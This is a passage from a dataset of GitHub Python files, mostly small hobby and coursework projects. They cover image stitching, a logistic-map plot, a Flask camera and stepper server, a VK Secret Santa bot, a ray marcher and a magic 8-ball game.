matches:\n\tif m.distance < 0.7 * n.distance:\n\t\tgood.append(m)\nimg3 = cv.drawMatches(img1, kp1, img2, kp2, good, None, flags=2)\ncv.imshow(\"good\", img3)\ncv.waitKey(0)\n\n# Q3. Organize the matched feature pairs into vectors and estimate an homography using RANSAC\npts1 = np.float32([kp1[m.queryIdx].pt for m in good]).reshape(-1, 1, 2)\npts2 = np.float32([kp2[m.trainIdx].pt for m in good]).reshape(-1, 1, 2)\nK, mask = cv.findHomography(pts2, pts1, cv.RANSAC, 3.0)\n\n# Q4. copy I1 to a new (bigger image) K using the identity homography\n# warp I2 to K using the computed homography\nwarpImg = cv.warpPerspective(img2, K, (img1.shape[1] + img2.shape[1], img2.shape[0]))\nwarpImg[0:img1.shape[0], 0:img1.shape[1]] = img1\ncv.imshow(\"warpImg\", warpImg)\ncv.waitKey(0)\n\n\n","repo_name":"winsa24/OpenCV-TP","sub_path":"INF573Lab3/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"23944348265","text":"import math\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nr=float(input(\"inserisci il valore di lambda: \"))\r\ndef logistic(r, x):\r\n #defnisco la funzione logistica\r\n return r * x * (1 - x)\r\nx = np.linspace(0, 1)\r\nfig, ax = plt.subplots(1, 1)\r\nax.plot(x, logistic(r, x), 'k', lw=1)\r\nplt.show()","repo_name":"LeonardoPerrini/Iteration-and-bifurcation-of-logistic-map","sub_path":"plot logistica.py","file_name":"plot logistica.py","file_ext":"py","file_size_in_byte":305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15662863244","text":"\nimport sqlite3, sys\nimport codecs\nfrom unicodedata import normalize\n\nconn = sqlite3.connect('./src/kural.db')\n\ncur = conn.cursor()\ncur.execute(\"SELECT cast(kurals.id as int) as id, kural, title, content FROM kurals join vilakams WHERE kurals.id = vilakams.id order by kurals.id\")\n#cur.execute(\"SELECT cast(id as int) as id, kural, title FROM kurals order by id\")\n\nrows = cur.fetchall()\n\nkural_id = '''\n
\")\n x = row[1].split(\" \")\n x[1] = x[1].strip().rstrip(\".\") + \".\"\n x = [\"
\" + normalize('NFC', line) + \"
\" for line in x]\n k_id = kural_id.replace(\"kural_id\", str(row[0]))\n k_title = kural_title.replace(\"kural_title\", row[2])\n k_explaination = kural_explaination.replace(\"kural_explaination\", row[3])\n output += kural_template.replace(\"kural_id\", k_id).replace(\"kural_title\", k_title).replace(\"kural_explaination\", k_explaination).replace(\"kural\", \"\".join(x))\n if row[0] % 10 == 0:\n output += \"\"\n kurals.append(output)\n\noutput = \"\\n\".join(kurals)\n\nreading_file = codecs.open(\"./src/template.html\", \"r\", encoding='utf8')\n\nnew_file_content = \"\"\nfor line in reading_file:\n stripped_line = line.strip()\n new_line = stripped_line.replace(\"kural_list\", output)\n new_file_content += new_line +\"\\n\"\nreading_file.close()\n\nwriting_file = codecs.open(\"./docs/index.html\", \"w\", encoding='utf8')\nwriting_file.write(new_file_content)\nwriting_file.close()\n\nconn.commit()\n \n","repo_name":"kirubasankars/thirukural","sub_path":"kural.py","file_name":"kural.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"7781066318","text":"class Rectangle:\n def __init__(self, x, y, width, height):\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n def __str__(self):\n return f\"Rectangle: {self.x}, {self.y}, {self.width}, {self.height}\"\n\n\n# Создание объекта прямоугольника\nrect = Rectangle(5, 10, 50, 100)\nprint(rect)\n","repo_name":"FIXXIII/hwskiilfactory","sub_path":"hw16.9.1.py","file_name":"hw16.9.1.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32941548231","text":"from __future__ import print_function\nfrom flask import Flask, Response, send_from_directory\nimport time, numpy, sys, threading, subprocess\nfrom CameraPi import Camera\nfrom ScanModule import Scanner\nimport cv2\nimport cv2.cv as cv\nfrom StepperDriverArduino import StepperDriver\n\napp = Flask(__name__)\n\n@app.route(\"/api/scan\")\ndef start_scan():\n\tdef scan():\n\t\tglobal s\n\t\tyield \"Resetting stepper\\n\"\n\t\ts.goBottom()\n\t\tyield \"Starting scan\\n\"\n\t\tscanner = Scanner(1640, 1232, s)\n\t\treturn\n\t\t\n\treturn Response(scan())\n\n@app.route(\"/api/live\")\ndef capture():\n\tcam = Camera(1640, 1232)\n\tcapture = cam.snap()\n\tcam.close()\n\tcv2.imwrite(\"capture.jpg\", capture)\n\treturn send_from_directory(\".\", \"capture.jpg\")\n\n@app.route(\"/api/calibrate\")\ndef calibrate_wrapper():\n\tdef calibrate():\n\t\tcaptureWidth = 1640 #Width of camera picture\n\t\tcaptureHeight = 1232 #Height of camera picture\n\t\tlaserTreshold = 100 #Tune this value for laser detection (100 for Logitech)\n\t\tcam = Camera(captureWidth, captureHeight)\n\n\t\tyield \"Resetting axis...\\n\"\n\t\ts.goUp()\n\t\ts.goBottom()\n\t\t\n\t\t#Gather the setup vectors\n\t\tyield \"Shooting initial difference picture \\n\"\n\t\tfor i in range(4, 0, -1):\n\t\t\tyield str(i) + \" \\n\"\n\t\t\ttime.sleep(1)\n\t\tbaseImg = cam.snap()\n\t\tbaseImgChannelB, baseImgChannelG, baseImgChannelR = cv2.split(baseImg)\n\t\n\t\tsourceMatrix = []\n\t\t\n\t\tfor corner in range(1, 5):\n\t\t\tedgeFound = False\n\t\t\twhile not edgeFound:\n\t\t\t\tyield \"Laserpoint \" + str(corner) + \"'d edge\\n\"\n\t\t\t\t\n\t\t\t\tfor i in range(5, 0, -1):\n\t\t\t\t\tyield str(i) + \" \\n\"\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\tyield \"Picture taken\\n\"\n\n\t\t\t\tchannelB, channelG, channelR = cv2.split(cam.snap())\n\t\t\t\tmask = cv2.absdiff(baseImgChannelR, channelR)\n\n\t\t\t\tret, mask = cv2.threshold(mask, laserTreshold, 255, cv2.THRESH_BINARY)\n\t\t\t\tmask = cv2.dilate(mask, None, iterations=2) \n\t\t\n\t\t\t\tcontours, hierarchy = cv2.findContours(mask, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\t\t\t\tcv2.drawContours(baseImg, contours, -1, (0,255,0), 3)\t\t\n\t\t\n\t\t\t\tcv2.imwrite(\"calibration_corner\" + str(corner) + \".png\", baseImg)\n\t\t\n\t\t\t\tif len(contours) > 1:\n\t\t\t\t\tyield \"More than one edge found, please repeat this edge\\n\"\n\t\t\t\t\n\t\t\t\telif len(contours) == 0:\n\t\t\t\t\tyield \"No edge found, please repeat this edge\\n\"\n\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tcontour = contours[0]#Select the first and hopefully only recognized contour\n\t\t\t\t\t(x,y), radius = cv2.minEnclosingCircle(contour)\n\t\t\t\t\tcenter = (int(x),int(y))\n\t\t\t\t\tradius = int(radius)\n\t\t\t\t\tprint(\"Dot found at \" + str(center))\n\t\t\t\t\tcv2.circle(baseImg , center, radius,(255,255,255), 2) #Visual feedback\n\t\t\t\t\tsourceMatrix.append([center[0], center[1]])\n\t\t\t\t\tedgeFound = True\n\n\t\tcv2.imwrite(\"calibration_corners.png\", baseImg)\n\t\n\t\t#Resort the matrix to make sure we have a planar projection (no foldings)\n\t\tnormalizedSource = []\n\t\tsourceMatrix = numpy.float32(sourceMatrix)\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmax(axis=0)][0]) #Rightmost edge -> Upper right corner\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmax(axis=0)][1]) #Lowest edge -> Lower right corner\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmin(axis=0)][0]) #Leftmost edge -> Lower left corner\n\t\tnormalizedSource.append(sourceMatrix[sourceMatrix.argmin(axis=0)][1]) #Highest edge -> Upper left corner\n\n\t\t#Create and save the masking we will use in the second step do filter out unwanted laser dots\n\t\tcropImage = numpy.zeros((captureHeight,captureWidth,1), numpy.uint8)\n\t\tpts = numpy.array(normalizedSource, numpy.int32)\n\t\tpts = pts.reshape((-1,1,2))\n\t\tcv2.fillPoly(cropImage,[pts], (255))\n\t\tcv2.imwrite(\"crop_image.png\", cropImage)\n\t\n\t\t#Continue with the perspective transformation\n\t\tpts2 = [[720,0], [720,720], [0,720], [0,0]]\n\t\ttry:\n\t\t\ttransformationMatrix = cv2.getPerspectiveTransform(numpy.float32(normalizedSource), numpy.float32(pts2))\n\t\texcept cv2.error:\n\t\t\tcam.release()\n\t\t\tyield \"Not enough tracking points found\"\n\t\t\treturn \n\t\t\n\t\tyield \"Your coefficients are:\\n\"\n\t\tyield str(transformationMatrix) + \"\\n\"\n\t\tdst = cv2.warpPerspective(baseImg, transformationMatrix , (captureHeight,captureHeight), flags=cv2.INTER_NEAREST)\n\t\n\t\tyield \"Writing transformation matrix...\\n\"\n\t\tnumpy.savetxt(\"calibration.txt\", transformationMatrix)\n\t\tcam.close()\n\t\t\n\treturn Response(calibrate())\n\t\n@app.route(\"/api/calibrate/matrix\")\ndef sendMatrix():\n\treturn send_from_directory(\".\", \"calibration.txt\")\n\n@app.route(\"/api/calibrate/cropimage\")\ndef sendCropImage():\n\treturn send_from_directory(\".\", \"crop_image.png\")\n\n@app.route(\"/api/stepper/up\")\ndef stepper_up():\n\tglobal s\n\ts.goUp()\n\treturn \"ok\"\n\t\n@app.route(\"/api/stepper/down\")\ndef stepper_down():\n\tglobal s\n\ts.goDown()\n\treturn \"ok\"\n\t\n@app.route(\"/api/stepper/top\")\ndef stepper_top():\n\tglobal s\n\ts.goTop()\n\treturn \"ok\"\n\n@app.route(\"/api/stepper/bottom\")\ndef stepper_bottom():\n\tglobal s\n\ts.goBottom()\n\treturn \"ok\"\n\t\n@app.route(\"/api/stepper/sleep\")\ndef stepper_sleep():\n\tglobal s\n\ts.startSleep()\n\treturn \"ok\"\n\ns = StepperDriver() #Initialize the Stepper\n\nif __name__ == '__main__':\n\tapp.run(host=\"0.0.0.0\", port=80, debug=True, use_reloader=False)\n","repo_name":"shackspace/body-scanner","sub_path":"captureServer.py","file_name":"captureServer.py","file_ext":"py","file_size_in_byte":4998,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"6793664066","text":"import random\nimport time\nfrom typing import Tuple\n\nfrom santa_vk_bot.classes.userClass import User\nfrom santa_vk_bot.classes.msgCls import Message, Btn\nfrom santa_vk_bot.classes import myVkbotClass\nfrom santa_vk_bot import features, msg_send\nfrom santa_vk_bot.config import settings\nfrom santa_vk_bot.models import Users\n\nvk_methods = myVkbotClass.VkMethods(settings.vk_bot_token, settings.vk_api_version)\n\n\ndef create_join_link_and_key(join_prefix: str, room_id: int) -> Tuple[str, str]:\n key = f\"{join_prefix}{int(time.time())}{room_id}{len(str(room_id))}\"\n vk_link = f'vk.me/-{settings.vk_group_id}?ref={key}'\n return key, vk_link\n\n\ndef parse_key(command: str, join_prefix) -> int:\n ref_code = command.replace(join_prefix, '').strip()\n if not ref_code:\n return 0\n num_len = int(ref_code[-1]) if ref_code[-1].isdigit() else 0\n if not num_len:\n return num_len\n return int(ref_code[-num_len-1:-1]) if ref_code[-num_len-1:-1].isdigit() else 0\n\n\ndef about_response(user: User):\n # если у чувака уже есть комната\n if user.room_id:\n # если он админ этой комнаты тогда предлагаем ему кикнуть, узнать список людей, зашафлить\n if user.is_admin:\n msg = Message(f\"{features.admin_about.text}\\n\", [])\n # если комната уже создана, напоминаем ключ захода в нее\n if user.room_id:\n key, vk_link = create_join_link_and_key(features.user_adding.prefix, user.room_id)\n user.send_msg(Message(f\"Напоминаю код комнаты: {key}\\nИ ссылку: {vk_link}\"))\n for ftr in [features.wish_list_menu, features.check_room, features.start_shuffle, features.delete_room]:\n if ftr is features.start_shuffle and user.get_room_shuffled():\n ftr = features.reshuffle\n msg.text += f\"\\n — {ftr.descr};\"\n msg.kb.append([Btn(ftr.button, color=ftr.button_color)])\n # иначе сообщаем юзеру что он сейчас в комнате и предлагаем ливнуть оттуда или запилить вишлист\n else:\n admin = user.get_room_admin()\n admin_name = vk_methods.linked_user_name(admin.user_social_id) if admin else \"\"\n msg = Message(f\"{features.user_about.text.format(admin_name=admin_name)}\\n\", [])\n for ftr in [features.wish_list_menu, features.user_leave]:\n msg.text += f\"\\n — {ftr.descr};\"\n msg.kb.append([Btn(ftr.button, color=ftr.button_color)])\n # предлагаем создать комнату\n else:\n msg = Message(f\"{features.about.text}\\n\", [])\n msg.text += f\"\\n — {features.room_creation.descr};\"\n msg.kb.append([Btn(features.room_creation.button)])\n\n user.send_msg(msg)\n\n\ndef create_room(user: User):\n # создаем новую комнату, назначаем юзера админом, возвращаем ему ключ захода и ссылку\n room_id = user.create_room()\n # генерируем ключ для захода\n key, vk_link = create_join_link_and_key(features.user_adding.prefix, room_id)\n msg = Message(f\"{features.room_creation.text}\\n\\nКод: {key}\\nСсылка: {vk_link}\")\n user.send_msg(msg)\n if not vk_methods.check_user_sub(settings.vk_group_id, user.uid):\n user.send_msg(Message(features.pls_sub.text))\n about_response(user)\n\n\ndef add_user_to_room(user: User, command: str):\n room_id = parse_key(command, features.user_adding.prefix)\n if room_id:\n room = user.set_room(room_id)\n if room == 'exists':\n msg = Message(features.room_error.text2)\n elif room:\n # пишем юзеру в чью комнату он зашел\n room_admin_id = Users.get_or_none(room_id=room_id, is_admin=True)\n if room_admin_id:\n room_admin_name = vk_methods.linked_user_name(room_admin_id.user_social_id)\n msg = Message(features.user_adding.text.format(room_admin_name))\n # пишем админу что в его комнату зашли\n user_name = vk_methods.linked_user_name(user.uid)\n admin_msg = Message(features.user_adding.descr.format(user_name), kb=[[Btn(features.about.button)]])\n msg_send.send_msg(user_id=room_admin_id.user_social_id, msg=admin_msg)\n else:\n msg = Message(features.user_adding.text.format(''))\n else:\n msg = Message(features.room_error.text)\n else:\n msg = Message(features.room_error.text)\n user.send_msg(msg)\n about_response(user)\n\n\ndef approve_kick_user_from_room(admin: User, command: str):\n # парсим юзера из его социальной айди\n try:\n user_id = command.replace(features.kick_user.button.lower(), '').strip()\n user = User(uid=user_id)\n user_name = vk_methods.linked_user_name(user_id)\n admin.set_state(state_key=features.kick_user.state_key)\n admin.send_msg(Message(features.kick_user.text2.format(user_name),\n kb=[[Btn(f\"{features.kick_user.button} {user.uid}\")], [Btn(features.no_state.button)]]))\n except Exception:\n admin.send_msg(Message(features.kick_user_not_found.text,\n kb=[[Btn(features.check_room.button)], [Btn(features.about.button)]]))\n\n\ndef kick_user_from_room(admin: User, command: str):\n # если админ передумал\n if command in features.no_state.activators:\n admin.send_msg(Message(features.no_state.text))\n else:\n try:\n # парсим юзера из его социальной айди\n user_id = command.replace(features.kick_user.button.lower(), '').strip()\n user_name = vk_methods.linked_user_name(user_id)\n # кикаем\n user = User(uid=user_id)\n admin.kick_user(user.db_id)\n # говорим и админу и юзеру о кике\n admin.send_msg(Message(features.kick_user.text.format(user_name)))\n admin_name = vk_methods.linked_user_name(admin.uid)\n user.send_msg(Message(features.kicked_user.text.format(admin_name=admin_name)))\n except Exception:\n admin.send_msg(Message(features.kick_user_not_found.text,\n kb=[[Btn(features.check_room.button)], [Btn(features.about.button)]]))\n admin.drop_state()\n about_response(admin)\n\n\ndef approve_clear_room(admin: User):\n admin.set_state(state_key=features.delete_room.state_key)\n admin.send_msg(Message(features.delete_room.text2,\n kb=[[Btn(features.delete_room.button, color=features.delete_room.button_color)],\n [Btn(features.no_state.button)]]))\n\n\ndef clear_room(admin: User, command: str):\n # если админ передумал\n if command in features.no_state.activators:\n admin.send_msg(Message(features.no_state.text))\n else:\n all_room_users = admin.clear_room()\n for user_social_id in all_room_users:\n user = User(uid=user_social_id)\n user.send_msg(Message(features.delete_room.text))\n admin.drop_state()\n about_response(admin)\n\n\ndef approve_user_leave_room(user: User):\n user.set_state(state_key=features.user_leave.state_key)\n user.send_msg(Message(features.user_leave_approve.text,\n kb=[[Btn(features.user_leave.button)], [Btn(features.no_state.button)]]))\n\n\ndef user_leave_room(user: User, command: str):\n # если юзер передумал\n if command in features.no_state.activators:\n msg = Message(features.no_state.text)\n else:\n room_id = user.get_user_room_id()\n # пишем админу из чьей комнаты он вышел\n room_admin_id = Users.get_or_none(room_id=room_id, is_admin=True)\n if room_admin_id:\n # пишем админу что из его комнаты вышли\n user_name = vk_methods.linked_user_name(user.uid)\n msg_send.send_msg(user_id=room_admin_id.user_social_id,\n msg=Message(features.user_leave.text2.format(user_name), kb=[[Btn(features.about.button)]]))\n user.leave_room()\n msg = Message(features.user_leave.text)\n user.drop_state()\n user.send_msg(msg)\n about_response(user)\n\n\ndef state_error(user: User):\n user.drop_state()\n my_name = vk_methods.linked_user_name(settings.error_receiver_id)\n user.send_msg(Message(features.error_state.text.format(my_name)))\n\n\ndef start_gifts_shuffle(admin: User):\n # закольцовываем список участников\n members = [i.user_social_id for i in admin.get_all_room_users()]\n random.shuffle(members)\n members.append(members[0])\n\n # проверка готовности участников\n for uid_i in range(len(members) - 1):\n user_id = members[uid_i]\n msg_to_user = msg_send.send_msg(user_id=user_id, msg=Message(features.check_shuffle.text))\n if not msg_to_user:\n user_link = vk_methods.linked_user_name(user_id)\n admin.send_msg(Message(f\"{user_link} {features.check_shuffle.text2}\"))\n return\n\n for uid_i in range(len(members) - 1):\n sender_id = members[uid_i]\n sender = User(uid=sender_id)\n getter_id = members[uid_i + 1]\n getter_link = vk_methods.linked_user_name(getter_id)\n # подгружаем вишлист\n getter = User(uid=getter_id)\n getter_wishlist = getter.get_wishlist()\n text = f\"{getter_link} {features.start_shuffle.text}. {features.start_shuffle.text2} {getter_wishlist}\" \\\n if getter_wishlist else f\"{getter_link} {features.start_shuffle.text}\"\n msg = Message(text)\n sender.send_msg(msg)\n sender.send_msg(Message(features.pls_sub.text))\n # запись в базу зашафленных пар\n sender.set_getter_db_id(getter.db_id)\n\n admin.room_shuffled()\n\n\ndef check_users_in_room(admin: User):\n all_users = list(admin.get_all_room_users())\n admin.send_msg(Message(features.check_room.text))\n for user in all_users:\n user_name = vk_methods.linked_user_name(user.user_social_id)\n kb = [[Btn(f\"{features.kick_user.button} {user.user_social_id}\")]]\n admin.send_msg(Message(user_name, kb, inline_kb=True))\n about_response(admin)\n\n\ndef wrong_request(user: User):\n msg = Message(features.wrong_command.text, kb=[[Btn(features.rules_and_help.button)], [Btn(features.about.button)]])\n user.send_msg(msg)\n\n\ndef help_request(user: User):\n my_name = vk_methods.linked_user_name(settings.error_receiver_id)\n user.send_msg(Message(features.rules_and_help.text.format(my_name), kb=[[Btn(features.about.button)]]))\n\n\ndef wishlist_menu_response(user: User):\n wish_list = user.get_wishlist()\n msg = Message(f\"{features.wish_list_menu.text.format(wish_list=wish_list)}\\n\", [])\n for ftr in [features.create_wish_list, features.append_wish_list]:\n msg.text += f\"\\n — {ftr.descr};\"\n msg.kb.append([Btn(ftr.button, color=ftr.button_color)])\n msg.kb.append([Btn(features.about.button, color=features.about.button_color)])\n user.send_msg(msg)\n\n\ndef wishlist_append_response(user: User):\n user.set_state(state_key=features.append_wish_list.state_key)\n user.send_msg(Message(features.append_wish_list.text))\n\n\ndef wishlist_create_response(user: User):\n user.set_state(state_key=features.create_wish_list.state_key)\n user.send_msg(Message(features.create_wish_list.text))\n\n\ndef process_append_wish_list(user: User, command: str):\n old_wishlist = user.get_wishlist()\n new_wishlist = f\"{old_wishlist}\\n{command}\"\n user.save_wishlist(new_wishlist)\n user.drop_state()\n updated_wishlist = user.get_wishlist()\n user.send_msg(Message(f\"{features.append_wish_list.text2}\\n\\n{updated_wishlist}\",\n kb=[[Btn(features.wish_list_menu.button)], [Btn(features.about.button)]]))\n live_update_wishlist(user, updated_wishlist)\n\n\ndef process_create_wish_list(user: User, command: str):\n user.save_wishlist(command)\n user.drop_state()\n updated_wishlist = user.get_wishlist()\n user.send_msg(Message(f\"{features.create_wish_list.text2}\\n\\n{updated_wishlist}\",\n kb=[[Btn(features.wish_list_menu.button)], [Btn(features.about.button)]]))\n live_update_wishlist(user, updated_wishlist)\n\n\ndef live_update_wishlist(user: User, getter_wishlist: str):\n sender_db = user.get_sender()\n if sender_db:\n sender = User(uid=sender_db.user_social_id)\n getter_link = vk_methods.linked_user_name(user.uid)\n text = f\"{getter_link} {features.live_update_wish_list.text2} {getter_wishlist}\"\n sender.send_msg(Message(text, kb=[[Btn(features.about.button)]]))\n user.send_msg(Message(features.live_update_wish_list.text,\n kb=[[Btn(features.wish_list_menu.button)], [Btn(features.about.button)]]))\n","repo_name":"NekitPnt/santa_bot","sub_path":"santa_vk_bot/handlers/secret_santa.py","file_name":"secret_santa.py","file_ext":"py","file_size_in_byte":13320,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"30801618165","text":"import numpy as np\r\nimport json\r\n\r\nfrom objects import Sphere, Plane, Material, Cylinder\r\nfrom lights import DirectionalLight, PointLight\r\nfrom utils import normalize, reflect, Ray\r\n\r\nclass Camera:\r\n def __init__(self, position, up, forward, width, height, fov):\r\n self.position = position\r\n self.up = normalize(up)\r\n self.forward = normalize(forward)\r\n self.right = normalize(np.cross(up, forward))\r\n self.transform = np.matrix([self.forward, self.right, self.up])\r\n self.width = width\r\n self.height = height\r\n self.fov = fov\r\n self.fov_ratio = height / width\r\n\r\nclass Scene: \r\n def __init__(self, json_file):\r\n with open(json_file, \"r\") as file:\r\n json_data = json.load(file)\r\n \r\n try:\r\n self.camera = Camera(\r\n np.array(json_data[\"camera\"][\"position\"]),\r\n np.array(json_data[\"camera\"][\"up\"]),\r\n np.array(json_data[\"camera\"][\"forward\"]),\r\n int(json_data[\"camera\"][\"pixel_width\"]),\r\n int(json_data[\"camera\"][\"pixel_height\"]),\r\n int(json_data[\"camera\"][\"fov\"])\r\n )\r\n except:\r\n print(\"Error parsing camera\")\r\n exit(-1)\r\n \r\n self.objects = []\r\n for i, object in enumerate(json_data[\"objects\"]):\r\n try:\r\n material = Material (\r\n np.array(object[\"material\"][\"ambient\"]),\r\n np.array(object[\"material\"][\"diffuse\"]),\r\n np.array(object[\"material\"][\"spectral\"]),\r\n float(object[\"material\"][\"spectral_p\"])\r\n )\r\n \r\n if object[\"type\"] == \"sphere\":\r\n self.objects.append(\r\n Sphere(\r\n np.array(object[\"position\"]),\r\n float(object[\"radius\"]), \r\n material\r\n )\r\n )\r\n elif object[\"type\"] == \"plane\":\r\n self.objects.append(\r\n Plane(\r\n np.array(object[\"position\"]),\r\n np.array(object[\"normal\"]),\r\n material\r\n )\r\n )\r\n elif object[\"type\"] == \"cylinder\":\r\n self.objects.append(\r\n Cylinder(\r\n np.array(object[\"position1\"]),\r\n np.array(object[\"position2\"]),\r\n float(object[\"radius\"]),\r\n material\r\n )\r\n )\r\n else:\r\n raise Exception\r\n except:\r\n print(f\"Error parsing object at index {i}\")\r\n exit(-1)\r\n \r\n self.lights = []\r\n for light in json_data[\"lights\"]:\r\n try:\r\n if light[\"type\"] == \"point\":\r\n self.lights.append(\r\n PointLight(\r\n np.array(light[\"position\"]),\r\n np.array(light[\"color\"])\r\n )\r\n )\r\n elif light[\"type\"] == \"directional\":\r\n self.lights.append(\r\n DirectionalLight(\r\n np.array(light[\"direction\"]),\r\n np.array(light[\"color\"])\r\n )\r\n )\r\n else:\r\n raise Exception\r\n except:\r\n print(f\"Error parsing light at index {i}\")\r\n exit(-1)\r\n \r\n def ray_march(self, ray): \r\n # Does this ray hit anything\r\n object_hit = None\r\n hit_location = None\r\n \r\n current_ray_traveled = 0\r\n for _ in range(1000):\r\n current_ray = current_ray_traveled*ray.ray_direction + ray.ray_position\r\n \r\n min_distance = float('inf')\r\n min_object = -1\r\n for i, object in enumerate(self.objects):\r\n this_distance = object.get_distance(current_ray)\r\n if this_distance < min_distance:\r\n min_distance = this_distance\r\n min_object = i\r\n \r\n if min_distance < 0.001:\r\n object_hit = self.objects[min_object]\r\n hit_location = current_ray\r\n break\r\n elif min_distance > (2**32):\r\n break\r\n else:\r\n current_ray_traveled += min_distance\r\n \r\n return object_hit, hit_location\r\n \r\n def get_pixel_color(self, x, y):\r\n # what is the ray coming from this pixel\r\n theta = np.radians(((x - (self.camera.width/2)) / self.camera.width) * self.camera.fov)\r\n rho = np.radians(((y - (self.camera.height/2)) / self.camera.height) * self.camera.fov * self.camera.fov_ratio)\r\n x_rotation = np.matrix([\r\n [np.cos(theta), -np.sin(theta), 0],\r\n [np.sin(theta), np.cos(theta), 0],\r\n [0 , 0 , 1]\r\n ])\r\n y_rotation = np.matrix([\r\n [ np.cos(rho), 0, np.sin(rho)],\r\n [ 0 , 1, 0 ],\r\n [-np.sin(rho), 0, np.cos(rho)]\r\n ])\r\n direction_transform = self.camera.transform * x_rotation * y_rotation * np.linalg.inv(self.camera.transform)\r\n ray_direction = np.resize(direction_transform @ self.camera.forward, (3,))\r\n camera_ray = Ray(self.camera.position, ray_direction)\r\n \r\n hit_object, hit_location = self.ray_march(camera_ray)\r\n \r\n pixel_color = np.array((0.0, 0.0, 0.0), dtype=np.float64)\r\n if hit_object is not None:\r\n \r\n # Ambient Shading\r\n pixel_color += hit_object.material.get_ambient_coef()\r\n \r\n diffuse_color = np.array([0.0, 0.0, 0.0])\r\n spectral_color = np.array([0.0, 0.0, 0.0])\r\n for light in self.lights:\r\n \r\n light_direction = normalize(light.get_ray(hit_location))\r\n light_distance = np.linalg.norm(hit_location - light.get_position())\r\n shadow_ray = Ray(hit_location + 0.002*hit_object.get_surface_normal(hit_location), -light_direction)\r\n shadow_hit_object, shadow_hit_location = self.ray_march(shadow_ray) \r\n \r\n if shadow_hit_object is not None:\r\n hit_distance = np.linalg.norm(hit_location - shadow_hit_location)\r\n if light_distance > hit_distance:\r\n continue\r\n \r\n # Diffuse Shading\r\n diffuse_brightness = max(light.get_ray(hit_location) @ -normalize(hit_object.get_surface_normal(hit_location)), 0)\r\n diffuse_color += hit_object.material.get_diffuse_coef() * (diffuse_brightness * np.array(light.color))\r\n \r\n # Spectral Shading\r\n spectral_brightness = max(\r\n -(normalize(reflect(light.get_ray(hit_location), hit_object.get_surface_normal(hit_location))) @ camera_ray.ray_direction),\r\n 0\r\n ) ** hit_object.material.get_spectral_p_coef()\r\n spectral_color += hit_object.material.get_spectral_coef() * (spectral_brightness * np.array(light.color))\r\n \r\n pixel_color += diffuse_color\r\n pixel_color += spectral_color\r\n \r\n \r\n return pixel_color","repo_name":"HamzzaShaikh/Ray-Marching-Renderer","sub_path":"raymarch_full/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":8112,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"6914689945","text":"from numpy.polynomial.hermite import hermgauss\nimport torch\n\ndef hermite_gauss_2d(func, deg, device='cpu'):\n x, w = hermgauss(deg)\n x = torch.asarray(x)\n w = torch.asarray(w)\n X, Y = torch.meshgrid(x, x)\n W = w[:, None] @ w[None, :]\n\n return (W.to(device) * func(X.to(device), Y.to(device))).sum()\n","repo_name":"rekino/HarmonicLayer","sub_path":"src/harmonet_rekino/integrate/cubature.py","file_name":"cubature.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73283724073","text":"# a program that takes an input from the user then print ransom answers from the 8ball\n# In your program, allow a person to input a question, and then create a random number. Based on the random number, pick a response to the question using if, elif, and else statemen\nimport random\naffirmative = [\"It is certain\", \"It is decidedly so\", \"Without a doubt\", \"Yes definitely\", \"You may rely on it\", \"As I see it, yes\", \"Most likely\", \"Outlook good\", \"Yes\", \"Signs point to yes\"]\nnegative = [\"Reply hazy try again\", \" Ask again later\", \" Better not tell you now\", \"Cannot predict now\", \"Concentrate and ask again\"]\nnon_commital = [\"Don't count on it\", \"My reply is no\", \"My sources say no\", \"Outlook not so good\", \"very doubtful\"]\na = random.choice(affirmative)\nb = random.choice(negative)\nc = random.choice(non_commital)\nquestion = input(\"ask me a random question: \")\nrandom_number = random.randint(1,20)\nif random_number > 15:\n print(c)\nelif random_number > 10:\n print(b)\nelse:\n print(a)\n","repo_name":"newtonkiragu/learning-python","sub_path":"magic-8-ball/magic_8_ball.py","file_name":"magic_8_ball.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"1129062163","text":"def stretch(word, mult):\n s = \"\"\n for char in word:\n s += char * mult\n return s\n\nrow, col, xrow, xcol = [int(i) for i in input().split()]\nrows = []\n\nfor i in range(row):\n rows.append(input())\n\nfor i in range(row*xrow):\n print(stretch(rows[i // xrow], xcol))\n","repo_name":"Hexfall/Kattis","sub_path":"skener.py","file_name":"skener.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
